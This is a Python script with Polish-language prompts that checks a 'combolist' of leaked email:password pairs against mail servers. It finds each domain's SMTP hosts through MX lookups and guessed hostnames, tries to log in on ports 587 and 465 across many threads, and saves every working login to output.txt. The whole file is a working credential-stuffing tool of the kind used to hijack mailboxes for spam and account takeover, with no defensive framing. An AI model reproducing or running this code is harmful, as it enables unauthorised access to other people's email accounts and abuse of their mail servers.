
import smtplib
import ssl
import socket
import threading
import queue
import re
from email.utils import parseaddr
from dns import resolver

input_file = input("Podaj nazwę pliku combolist (np. combolist.txt): ")
try:
    max_threads = int(input("Podaj ilość wątków (np. 20): "))
except ValueError:
    print("Nieprawidłowa wartość, ustawiono domyślnie 20 wątków.")
    max_threads = 20

lock = threading.Lock()
output_file = "output.txt"
task_queue = queue.Queue()

# Domyślne porty SMTP
SMTP_PORTS = [587, 465]

# Szablony domen SMTP
SMTP_PATTERNS = [
    "smtp.{domain}",
    "mail.{domain}",
    "{domain}"
]

# Pobieranie MX z DNS
def get_mx_server(domain):
    try:
        answers = resolver.resolve(domain, 'MX')
        if answers:
            return str(answers[0].exchange).rstrip('.')
    except Exception:
        pass
    return None

def detect_smtp_server(email):
    _, addr = parseaddr(email)
    domain = addr.split('@')[-1]
    mx = get_mx_server(domain)
    servers_to_try = set()

    if mx:
        servers_to_try.add(mx)

    for pattern in SMTP_PATTERNS:
        servers_to_try.add(pattern.format(domain=domain))

    return list(servers_to_try)

def check_smtp(server, port, email, password):
    context = ssl.create_default_context()
    try:
        if port == 465:
            with smtplib.SMTP_SSL(server, port, context=context, timeout=10) as smtp:
                smtp.login(email, password)
        else:
            with smtplib.SMTP(server, port, timeout=10) as smtp:
                smtp.starttls(context=context)
                smtp.login(email, password)
        return True
    except Exception:
        return False

def worker():
    while not task_queue.empty():
        email, password = task_queue.get()
        print(f"[!] Skanuję: {email}")
        servers = detect_smtp_server(email)
        for server in servers:
            for port in SMTP_PORTS:
                print(f"  -> Próbuję {server}:{port}")
                if check_smtp(server, port, email, password):
                    result = f"{server}|{port}|{email}|{password}"
                    with lock:
                        with open(output_file, 'a') as f:
                            f.write(result + "\n")
                        print(f"[+] Sukces: {result}")
                    task_queue.task_done()
                    return
        print(f"[-] Nieudane: {email}")
        task_queue.task_done()

def main():
    try:
        with open(input_file, 'r', encoding='utf-8', errors='ignore') as f:
            combos = [line.strip() for line in f if ':' in line]
    except FileNotFoundError:
        print(f"Nie znaleziono pliku: {input_file}")
        return

    for line in combos:
        email, password = line.split(':', 1)
        task_queue.put((email, password))

    threads = []
    for _ in range(min(max_threads, task_queue.qsize())):
        t = threading.Thread(target=worker)
        t.start()
        threads.append(t)

    for t in threads:
        t.join()

    print(f"Zakończono. Wyniki zapisane w {output_file}")

if __name__ == "__main__":
    main()
